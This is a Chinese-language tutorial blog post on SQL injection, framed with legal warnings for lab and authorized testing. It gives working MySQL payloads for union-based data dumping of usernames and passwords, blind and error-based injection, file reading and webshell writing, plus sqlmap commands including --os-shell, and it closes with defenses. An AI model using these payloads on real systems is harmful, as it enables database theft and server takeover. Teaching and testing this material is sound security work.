摘要生成中
AI生成,仅供参考
【重要警告】
本教程仅供学习和授权测试使用。SQL注入属于非法入侵行为,未经系统所有者明确书面授权进行任何SQL注入测试均属于违法犯罪,可能承担刑事责任。请严格遵守《中华人民共和国网络安全法》及其他法律法规,仅在自己完全控制的本地测试环境(DVWA、SQLi Labs等)或获得授权的渗透测试中使用。任何非法使用后果自负,本教程不承担任何法律责任。
1. SQL 注入基础概念
SQL注入是Web应用中最常见的高危漏洞之一。攻击者通过在用户可控输入中构造恶意SQL代码片段,使其与后台SQL语句拼接后被数据库执行。
- 核心原因:开发者未对用户输入进行有效过滤或参数化处理。
- 危害等级:高危(可导致脱库、数据篡改、服务器被控)。
2. SQL 注入常见类型
- 联合查询注入(Union-based):利用UNION合并结果集回显数据。
- 基于错误注入(Error-based):利用数据库报错信息泄露数据。
- 盲注(Blind):
- 布尔盲注:根据页面返回内容真/假判断。
- 时间盲注:根据页面响应时间延迟判断。
- 堆叠查询注入(Stacked Queries):使用分号执行多条语句。
- 二阶注入(Second Order):恶意数据先存入数据库,后续取出时触发。
- 带外注入(Out-of-band):通过DNS、HTTP等通道回传数据。
3. 测试环境准备
强烈推荐在本地搭建靶场,严禁直接对公网资产进行未经授权的测试:
- 集成环境:XAMPP / phpStudy / WAMP
- 经典靶场:
- SQLi Labs(GitHub搜索 sqli-labs)
- DVWA(Damn Vulnerable Web Application)
- Mutillidae、bWAPP
4. 注入点判断
假设存在如下不安全代码:
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
基础测试逻辑:
- 单/双引号测试:
?id=1'或?id=1"(观察是否报错)。 - 逻辑判断(数字型):
?id=1 and 1=1(页面显示正常)?id=1 and 1=2(页面异常或无数据)
- 字符型测试:
?id=1' and '1'='1
5. 联合查询注入完整流程
步骤1:判断字段数
?id=1 order by 1--
?id=1 order by 2--
?id=1 order by 3-- (直到报错,假设 order by 4 报错,则字段数为 3)
步骤2:判断回显位置
?id=-1 union select 1,2,3--
/* 负数让原查询无结果,观察页面哪些位置出现数字 1、2、3 */
步骤3:获取基本信息
-- 当前数据库
?id=-1 union select 1,database(),3--
-- 当前用户
?id=-1 union select 1,user(),3--
-- 数据库版本
?id=-1 union select 1,version(),3--
步骤4:获取表与字段
-- 获取所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
-- 获取指定表(users)的所有字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--
步骤5:脱取数据
?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--
6. 盲注与报错注入 Payload
布尔盲注示例:
and length(database())=4
and ascii(substr(database(),1,1))>100
时间盲注示例:
and if(1=1,sleep(5),0)--
and (select count(*) from information_schema.tables)>0 and sleep(5)--
报错注入示例:
and extractvalue(1,concat(0x7e,(select database()),0x7e))
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
7. 常用技巧 (MySQL)
group_concat():将多行查询结果合并为一行字符串。0x3a:十六进制的冒号,常用于分隔用户名密码。load_file():读取服务器本地文件(需文件读取权限)。into outfile:将查询结果写入文件(常用于写入Webshell)。
8. Sqlmap 工具常用指令
Sqlmap 是自动化注入的神器,以下为基础用法:
# 基础检测
sqlmap -u "http://target.com/page.php?id=1" --batch
# 获取所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 获取指定库的表
sqlmap -u "http://target.com/page.php?id=1" -D testdb --tables
# 获取系统Shell (需满足特定条件)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
9. 防护措施(开发者必看)
- 参数化查询 / 预编译语句:这是最有效的防御手段(如 PHP 的 PDO, Java 的 PreparedStatement)。
- 输入验证:对用户输入进行严格的类型校验和白名单过滤。
- 最小权限原则:数据库连接账号严禁使用 root 权限。
- 部署 WAF:使用 Web 应用防火墙作为辅助防御手段。
10. 数据库差异简表
- MySQL:
information_schema、sleep()、group_concat() - MSSQL:
WAITFOR DELAY、master..sysdatabases - PostgreSQL:
pg_sleep()、version() - Oracle:
all_tables、utl_inaddr.get_host_address
声明: 本教程结束。再次强调,本教程仅用于安全研究、CTF 练习和合法授权渗透测试。请务必遵守法律法规,严禁用于任何非法用途。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END








暂无评论内容